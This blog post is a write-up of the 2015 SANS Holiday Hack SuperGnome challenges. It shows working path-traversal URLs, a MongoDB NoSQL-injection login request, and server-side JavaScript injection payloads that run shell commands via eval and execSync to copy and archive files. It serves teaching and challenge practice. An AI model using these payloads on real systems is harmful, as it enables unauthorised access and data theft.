Monday, January 11, 2016

Gnome in Your Home Part Four: Pwning the SuperGnomes

Pwning each of the SuperGnomes in the 2015 SANS Holiday Hack challenge.

This is one of a multi-part series describing my approach to solving the 2015 SANS Holiday Hacking Challenge; watch SecurityForRealPeople.com over the next few days as solutions for each challenge are published. After reading, try your hand at the challenges at HolidayHackChallenge.com!


Part Four: Gnomage Pwnage


Challenges:
  1. Please describe the vulnerabilities you discovered in the Gnome firmware.
  2. Attempt to remotely exploit each of the SuperGnomes. Describe the technique you used to gain access to each SuperGnome’s gnome.conf file.
Useful tools: Burp Suite, Wireshark

Each superGnome had a different vulnerability to exploit, and a different way to obtain the gnome.conf flag file. The first four required manipulating web form inputs to make use of foolish design decisions in the web interface. The last one took a different sort of expertise.


SuperGnome 01: plaintext password in a database, and password re-use


The first SuperGnome was something of a gimme. Firmware analysis in Part 2 revealed a username and password stored in clear text in a database on the gnome. This same username and password provided access to the SuperGnome. Logged on as administrator, I have sufficient rights to download files through the SuperGnome web UI, one of which is the gnome.conf file that is the goal.

SuperGnome 1 is pwned by using the admin user and password gleaned from a database in the gnome firmware

SuperGnome 01 downloads and gnome.conf
Gnome Serial Number: NCC1701, registry numbers familiar to Trekkies everywhere.


SuperGnome 02: Local File Inclusion and Path Traversal


The same username and password for SG01 works on SG02. However in this case, file downloading is disabled:

SuperGnome 2 uses the same admin username and password - but the download function is disabled

While file downloads are disabled, the Settings view allows file uploads, which I could potentially use to upload a modified configuration file that re-enables file downloads. Alas there is a bug. As seen in the SETTINGS UPLOAD section of the main application script from the firmware analysis ($gnomefs/www/routes/index.js), the upload aborts unless there is an extreme amount of disk space available:

if (free < 99999999999) {
msgs.push('Insufficient space! File creation error!');
}
res.msgs = msgs;
next();

So uploading a file is not going to work. However, as part of the upload process - and *before* this disk space check occurs - the application creates a temporary folder, then aborts with this message:

Abusing the settings upload function to create a new directory

While I cannot upload a *file*, this tells me the upload *path* (/gnome/www/public/upload/<random>) -- and lets me know that I can create a new folder even if I cannot upload a file to it.

The SETTINGS UPLOAD module of index.js uses the following logic to calculate the directory path to create:

try {
fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/')));
msgs.push('Dir ' + dirname.substr(0,dirname.lastIndexOf('/')) + '/ created successfully!');

Note that it parses the directory from the filename by using the last instance of "/" -- in other words, if I include a / in the filename, I can get it to treat my filename as a folder and attempt to create a folder of that name.

I again thought of exploiting this to upload a gnome.conf file that enables downloads, but I still have the disk space issue to overcome. Maybe there is an easier way...

There is an undocumented Camera view that also renders files. The web user interface does not show it, but the index.js file includes a CAMERA VIEWER module that opens files from ./public/images/:

http://52.34.3.80/cam?camera=xyzzy

File ./public/images/xyzzy.png does not exist or access denied!

From the firmware structure I will assume I am in gnome/www, so can try a relative path from the camera folder.
http://52.34.3.80/cam?camera=../../files/gnome.conf
File ./public/images/../../files/gnome.conf.png does not exist or access denied!

The application is adding .png to the end -- but from the firmware, it appears index.js merely looks for .png to exist somewhere in the filename. What if we add a .png to the folder structure?

http://52.34.3.80/cam?camera=../../files/.pnggnome.conf

File ./public/images/../../files/.pnggnome.conf does not exist or access denied!

While this still fails, we are making progress - note that the app no longer appends .png to the filename. So ... how can we include ".png" somewhere in the filename? How about using a space, followed by .png? Might the app treat it as a separate file?

http://52.34.3.80/cam?camera=../../files/.pnggnome.conf

File ./public/images/../../files/.pnggnome.conf does not exist or access denied!

Still no luck. Ah, but how about chaining things together? Can we use SETTINGS UPLOAD to create a folder .png, then traverse into and out of that folder?

Abusing the settings upload function to create a new directory

/gnome/www/public/upload/QJRQpBEk/.png/ created successfully.

Now, from www/public/images, I go to ../upload/QJRQpBEk/.png/, then to ../../../../files/gnome.conf?

http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/gnome.conf

And...voila!

Directory traversal plus a local file inclusion vulnerability lead to SuperGnome 2 being pwned.

By exploiting a loophole in the file upload process that lets me create a directory of my choosing, then manipulating the file path in a query string to another module, I am able to overcome the server code intended to restrict the camera view to only camera images. After creating a folder ".png" using the settings upload feature, here are the links for all files on SuperGnome 02:

http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/gnome.conf
http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/20150225093040.zip
http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/factory_cam_2.zip
http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/gnome_firmware_rel_notes.txt
http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/sgnet.zip
http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/sniffer_hit_list.txt

SuperGnome 02 downloads and gnome.conf
Gnome Serial Number: XKCD988, an appropriately seasonal XKCD reference


SuperGnome 03: NoSQL Injection


This gnome took me the longest, in large part because SQL injection is not my area of expertise. In hindsight though, I had the right NoSQL Injection syntax in the first 15 minutes ... it took considerably longer to realize the server was interpreting my input as plain text instead of as query code because of the content-type in my HTTP headers.

Unlike the other gnomes, SG03 does not accept the admin password found in the firmware database. I could login using "user" / "user" - but that user did not have high enough privileges to do anything useful.


Dan Pendolino's avatar recommended a blog post describing NoSQL injection attacks against MongoDB. SQL injection is a classic attack whereby a database's own query language is used against it. SQL queries give the programmer a list of everything for which the query condition is true. Let's say a program looks up a user in the database using a query such as:

SELECT * FROM USERS WHERE USERNAME = "$username" AND PASSWORD = "$password"

The programmer's intention is to get a list of users where the username and password match what the person logging in provides; if there are no matches in the database, the program denies access. An attacker can include a quotation mark in the username or password they supply, then add their own additional conditions -- such as "OR TRUE". Essentially that changes the query condition to always be true - thus allowing the attacker to log in without knowing an actual username and password.

NoSQL is a newer form of database, with a different structure for retrieving data out of the database. Similar concepts still apply. The gnome index.js code has this in the LOGIN POST module:

db.get('users').findOne({username: req.body.username, password: req.body.password}

The syntax queries the database for the first record where username and password match what is provided by the user logging in. If an attacker can manipulate the username or password such that the conditions are always true, they can get in without knowing the password.

In MongoDB, "$gt" is a special operator that means "greater than." By supplying as my password "$gt" : "", I essentially tell the database, "my password is something other than blank." Since the actual administrator password is in fact something other than blank, this is a true statement.

I spent far too much time on this however, because I could not figure out how to get the application to interpret $gt as an operator instead of as a literal string. By just putting "$gt:" "" in the password field, the program was looking in the database for something with a password that was literally "$gt" "", instead of looking for a password other than blank.

That's where another post helped me out. As written, the program was interpreting my input as plain text. However, app.js in the gnome firmware loads a module "bodyParser.json" that can handle JSON data submitted through a web form; I only had to change the content-type header in my web request, so the server interpreted my data as JSON instead of plain text.

JSON, or JavaScript Object Notation, is a data format often used in web applications. By using Burp Proxy to intercept the request sent by my web browser, and changing the response slightly, I can tell the application to interpret my username and password as JSON data instead of plain text.

[Original query]

POST / HTTP/1.1
Host: 52.64.191.71
Content-Length: 29
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://52.64.191.71
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://52.64.191.71/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: sessionid=VAipK4odSLgkFnciFolf
username=admin&password=admin

[Modified query]

POST / HTTP/1.1
Host: 52.64.191.71
Content-Length: 29
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://52.64.191.71
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Content-Type: application/json
Referer: http://52.64.191.71/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: sessionid=VAipK4odSLgkFnciFolf
{"username":"admin","password":{"$gt":""}}

With this, I successfully logged in as the administrator, and retrieved the target gnome.conf file.

SuperGnome 03 downloads and gnome.conf
Gnome Serial Number: THX1138, an homage to George Lucas' first theatrical production


SuperGnome 04: Server-Side JavaScript Injection (SSJI)


On this SuperGnome, file downloading is enabled, but the currently-running user does not have permissions. However, the Files view allows users to upload files, and has a post-processing parameter that allows the user to specify some options (by design, whether to darken the image, or to timestamp the image):

I can log into SuperGnome 4, but don't have permissions to the files


The post-processing parameter is stored in a form variable "postproc", which is used by the FILES UPLOAD routine in the gnome firmware:

if (req.file.mimetype === 'image/png') { msgs.push('Upload successful.');
  var postproc_syntax = req.body.postproc;
  console.log("File upload syntax:" + postproc_syntax);
  if (postproc_syntax != 'none' && postproc_syntax !== undefined) {
    msgs.push('Executing post process...');
    var result;
    d.run(function() {
      result = eval('(' + postproc_syntax + ')');
    });

eval() is a JavaScript function that will run whatever is given to it, which in this case is the postproc field supplied by the form. This means the gnome application is running code supplied by the web form - in other words, running code supplied by an end user, a classic web security faux paux. Many proxies allow changing the data submitted by a form - I've used WebScarab, ParosProxy, TamperData, and Burp Proxy.

To test this theory, I replaced the data submitted by the form with this:

res.end(require('fs').readdirSync('.').toString())

Instead of applying a timestamp, the application now prints the contents of the active directory to my screen:

app.js,bin,files,node_modules,npm-debug.log,npm-debug.log.5562eeec1bba2f4ee75f12f6cf06b78a,package.json,public,routes,views

Success! I now know I can execute code on the server by manipulating the web form data. But how to retrieve the files from the server?

In SG02 I found that the current working directory for the program is /gnome/www. The files I want are in /gnome/www/files - and supplying this in the form data does list the files I am interested in:
res.end(require('fs').readdirSync('./files').toString())
20151203133815.zip,factory_cam_4.zip,gnome.conf,gnome_firmware_rel_notes.txt,sgnet.zip,sniffer_hit_list.txt

I should be able to read the gnome.conf file with the following:
res.end(require('fs').readfileSync('./files/gnome.conf').toString())
but instead of giving me a file, I get

undefined is not a function

Hmm. Let's see if this is a file permissions issue? Gabor Szabo wrote a helpful piece for Code Maven that explains how to get system information - including file permissions - for a file through node.js. The following command should respond with the Unix file permissions for a file or folder:
res.end(require('fs').statSync('/gnome/www')["mode"].toString(8))
40755

That is a node.js mode property; the first one or two digits denote whether this is a directory [4] or a file [10]; the next digit is the "sticky bit", a feature unique to Unix which essentially says "anyone can run this program, and any files it creates will have be owned by the person that ran the program." The final three digits are the read, write, and execute permissions for the owner, the group, and "everyone else."

755 means the owner has full control to read, write, and execute the file, while everyone else has read and execute permissions.

Surprisingly, the same command for /gnome/www/files/gnome.conf returns 100644 - [10] for file, [0] for the sticky bit, and 644 indicating the owner can read and write, while everyone else can read the file. If I can read the file, why can I not download it?

In retrospect, perhaps the download function is dependent on execute permissions, but I approached things from another angle. Using what I learned in conquering SuperGnome 02, I created a folder named ".png" from which to try manipulating the camera viewer:

res.end(require('fs').mknewdir('/gnome/www/files/.png'))

Then verify the folder was created:

res.end(require('fs').readdirSync('/gnome/www/files').toString())

.png,20151203133815.zip,factory_cam_4.zip,gnome.conf,gnome_firmware_rel_notes.txt,sgnet.zip,sniffer_hit_list.txt

However, I still could not download the files directly (again, likely due to not having execute permissions on the files). So, I copied the files to the newly-created directory, this time using the child_process.execSync function :


require('child_process').execSync('cp /gnome/www/files/* /gnome/www/files/.png')

Still, I could not download the files:

http://52.192.152.132/cam?camera=../../files/.png/gnome.conf

File ./public/images/../../files/.png/../gnome.conf.png does not exist or access denied!

Ah - but note the error: the file that was not found was gnome.conf.png, not gnome.conf. The camera viewer only allows me to download .png files. Can I tar (a common Unix equivalend of Zip) all of the files into a single archive file, put .png on the end of that file, and download the tarball?

require('child_process').execSync('tar -cf /gnome/www/files/.png/tarball.png /gnome/www/files/.png/*')

http://52.192.152.132/cam?camera=../../files/.png/tarball.png

File ./public/images/../../files/.png/tarball.png.png does not exist or access denied!

Bah. It's appending .png to the filename, even if the filename already ends in .png. But that's easy to overcome:

http://52.192.152.132/cam?camera=../../files/.png/tarball

Success! I now have acquired the target files from SuperGnome 04, by exploiting a server-side JavaScript inclusion vulnerability in the FILES UPLOAD module to archive the files into a pseudo-png file, which I then used querystring path manipulation to download using the camera viewer module.

One minor side note: whereas the other SuperGnomes thus far only required adjusting inputs to download the files in their pre-existing state, pwning this SuperGnome required mucking with the files and permissions themselves. This means I have no way of knowing the original state of the files and permissions: each time I looked, I found different permissions on /gnome/www/files - and at least twice another hacker mistakenly corrupted or deleted the files. This write-up is based on the state of the files when I first solved the challenge.


SuperGnome 04 downloads and gnome.conf
Gnome Serial Number: BU22_1729_2716057, a Futurama reference only a geek could love.


SuperGnome 05


As my expertise is in defense, incident response, and post-compromise forensics, this gnome did not fall by my hand. It did fall however. I will refer you to this excellent and thorough writeup by Cory Duplantis over at Praetorian, explaining his solution to pwning SG05.

Do you have something to add? A question you'd like answered? Think I'm out of my mind? Join the conversation below, reach out by email at david (at) securityforrealpeople.com, or hit me up on Twitter at @dnlongen